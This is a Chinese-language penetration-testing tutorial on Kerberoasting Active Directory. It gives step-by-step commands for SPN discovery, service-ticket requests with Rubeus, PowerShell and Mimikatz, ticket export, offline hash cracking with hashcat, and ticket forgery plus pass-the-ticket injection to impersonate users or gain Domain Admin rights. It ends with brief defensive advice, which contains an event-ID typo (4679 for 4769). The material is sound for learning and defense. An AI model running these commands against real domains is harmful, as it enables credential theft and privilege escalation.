kerberoasting
前言
往期文章:
内网渗透 | Kerberos 协议与 Kerberos 认证原理 内网渗透 | Kerberos 协议相关安全问题分析与利用
在上一篇文章《内网渗透测试:Kerberos 协议相关安全问题分析与利用》中,我们详细介绍了多种基于 Kerberos 协议进行的攻击,本节我们再来对 Kerberoast 攻击做一下介绍。
Kerberos 是一种支持票证身份验证的安全协议。如果客户端计算机身份验证请求包含有效的用户凭据和 SPN,则 Kerberos 身份验证服务器将授予一个票证以响应该请求。然后,客户端计算机使用该票证来访问网络资源。
什么是 SPN
SPN,ServicePrincipal Names,即服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)在使用 Kerberos 身份验证的网络上的唯一标识符,其由服务类、主机名和端口组成。Kerberos 认证过程使用 SPN 将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。在使用 Kerberos 身份验证的网络中,必须在内置计算机帐户或域用户帐户下为服务器注册 SPN。对于内置机器帐户,SPN 将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户手动注册 SPN。
SPN 分为两种类型:
•一种是注册在活动目录的机器帐户(Computers)下。当一个服务的权限为 Local System 或 Network Service 时,则 SPN 注册在机器帐户(Computers)下。•另一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户时,则 SPN 注册在域用户帐户(Users)下。
SPN的语法格式
代码语言:javascript复制<service class>/<host>:<port> <servername> 服务类型 /对应机器名:服务端口[默认端口可不写]其中 <service class> 和 <host> 为必需元素
•<service class>
可以理解为服务的名称,常见的有 WWW、LDAP、SMTP、DNS、HOST 等,例如 MSSQLSvc/WIN-CKT0M35R6UO.top.pentest.top:1433
•<host>
有两种形式,FQDN 和 NetBIOS 名,例如 WIN-CKT0M35R6UO.top.pentest.top
或者是 WIN-CKT0M35R6UO
•如果服务运行在默认端口上,则端口号 <port>
可以省略
在内网中,SPN 扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行着重要服务的主机,如终端,交换机等。SPN 的识别与发现是 kerberoasting 攻击的第一步。
Kerberoasting
Kerberos 协议在请求访问某个服务时存在一个缺陷,Kerberoasting 正是利用这个缺陷的一种攻击技术。首先,我们来整体了解一下正常情况下一个用户请求访问某个服务时会经过哪些步骤:
•首先用户将 AS-REQ 数据包发送给 KDC 密钥分发中心,要对一个域进行身份验证。•KDC 收到用户的请求后会验证用户的凭据,如果凭据有效,则返回 TGT 认购权证,该 TGT 认购权证用于以后的 ST 服务票据的请求。•如果用户想通过身份认证访问某个服务的话,那么他需要发起票据授予请求,请求中包含 TGT 以及所请求服务的 SPN 服务主体名称。•如果 TGT 有效并且没有过期,那么 TGS 会从 TGT 认购权证中提取信息创建一个用于访问目标服务的一个 ST 服务票据,该 ST 服务票据使用服务账户的凭据进行加密。然后,域控制器开始查找哪个帐户在 ServicedPrincipalName(SPN)字段中注册了所请求的 SPN。•用户收到包含了服务票据的 TGS 响应数据包。•最后,服务票据会转发给目标服务,然后使用服务账户的凭据进行解密。
整个过程比较简单,我们需要注意的是,服务票据会使用服务账户的哈希进行加密,这样一来,Windows域中任何经过身份验证的用户都可以从 TGS 处请求 ST 服务票据。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。
下面我们将我才能够一下几个步骤讲解 Kerberoasting 攻击的利用:
•SPN 服务主体名称发现•请求服务票据•服务票据的导出•服务票据的暴力破解
SPN 服务主体名称发现
由于每台服务器都需要注册用于 Kerberos 身份验证服务的 SPN,因此这为在不进行大规模端口扫描的情况下收集有关内网域环境的服务运行信息提供了一个更加隐蔽的方法。
使用 SetSPN 查询
SetSPN 是 Windows 系统自带的工具,可以查询域内的 SPN:
代码语言:javascript复制setspn -Q */* # 查看当前域内所有的 SPNsetspn -T whoamianony.org -Q */* # 查看指定域 whoamianony.org 注册的SPN, 如果指定域不存在, 则默认切换到查找本域的 SPNsetspn -L <username>/<hostname> # 查找指定用户/主机名注册的 SPN
使用 GetUserSPNs.ps1 脚本
•项目地址:https://github.com/nidem/kerberoast.git
GetUserSPNs 是 Kerberoast 工具集中的一个 PowerShell 脚本,可以用来查询域内用户注册的 SPN。
代码语言:javascript复制Import-Module .GetUserSPNs.ps1
使用 PowerView.ps1 脚本
•项目地址:https://github.com/PowerShellMafia/PowerSploit/
PowerView 是 PowerSploit 框架中 Recon 目录下的一个 PowerShell 脚本,PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。
代码语言:javascript复制Import-Module .PowerView.ps1Get-NetUser -SPN
请求服务票据
使用 Rubeus 工具
•项目地址:https://github.com/GhostPack/Rubeus
Rubeus 工具里面的 kerberoast 支持对所有用户或者特定用户执行 kerberoasting 操作,其原理在于先用 LDAP 查询于内的 SPN 服务主体名称,然后发送 TGS 包,最后直接打印出能使用 Hashcat 或 John 爆破的 Hash。默认情况下会打印出注册于用户下的所有 SPN 的服务票据的 Hashcat 格式:
代码语言:javascript复制Rubeus.exe kerberoast
使用 PowerShell 命令请求
为特定 SPN 请求服务票据的最简单方法是通过PowerShell,这个方法是 Tim Medin 在 DerbyCon 4.0 演讲 中介绍的:
代码语言:javascript复制Add-Type -AssemblyName System.IdentityModel # 请求服务票据New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/pc2.whoamianony.com:3306/MySQL"klist # 列出服务票据
使用 Mimikatz 工具请求
可以使用 Mimikatz 请求指定 SPN 的服务票据
代码语言:javascript复制kerberos::ask /target:MySQL/PC2.whoamianony.org:3306 # 请求服务票据kerberos::list # 列出服务票据kerberos::purge # 清除所有票据
服务票据的导出
使用 Mimikatz 工具导出
代码语言:javascript复制kerberos::list /export
该命令之后完毕后,会在 Mimikatz 同目录下导出后缀为 kirbi 的票据文件:
使用 Invoke-Kerberoast.ps1 脚本
•项目地址:https://github.com/EmpireProject/Empire
Invoke-Kerberoast.ps1 脚本是 Empire 框架下的一个工具,其可以直接导出 Hashcat 格式的票据:
代码语言:javascript复制Import-Module .Invoke-Kerberoast.ps1Invoke-Kerberoast -outputFormat Hashcat
服务票据的暴力破解
使用 tgsrepcrack.py 脚本
•项目地址:https://github.com/nidem/kerberoast.git
Tgsrepcrack.py 是 Kerberoast 工具集中的一个 Python 脚本,可用来对导出的服务票据文件进行离线破解:
代码语言:javascript复制python2 tgsrepcrack.py wordlists.txt xxxxxx.kirbi# python2 tgsrepcrack.py <字典> <导出的服务票据>
使用 Hashcat 工具
之前我们在请求和导出服务票据时,可以直接得到Hashcat格式的票据,将导出的 Hashcat 格式的票据保存在 hash.txt 文件中,放到 Hashcat 的目录下进行爆破即可:
代码语言:javascript复制hashcat.exe -m 13100 hash.txt wordlists.txt
服务票据重写&RAM注入
ST 票据使用服务密码的 NTLM 哈希签名,所以,如果票据散列值已被破解,那么就可以使用 Kerberoast 工具集中的 kerberoast.py 脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。
代码语言:javascript复制python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用以下 Mimikatz 命令将新票据重新注入内存,以便通过 Kerberos 协议对目标服务执行身份验证。
代码语言:javascript复制kerberos::ptt PENTESTLAB.kirbi
Kerberoast 攻击的防范思路
•确保服务账号密码为强密码(长度、随机性、定期修改)•如果攻击者无法将默认的 AES256_HMAC 加密方式改为 RC4_HMAC_MD5,就无法尝试使用 tgsrepcrack.py 来破解密码。•攻击者可以通过嗅探的方法抓取 Kerberos TGS 票据。因此,如果强制使用 AES256_HMAC 方式对 Kerberos 票据进行加密,那么,即使攻击者获取了 Kerberos 票据,也无法破解,从而保证了活动目录的安全性。•许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。•在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。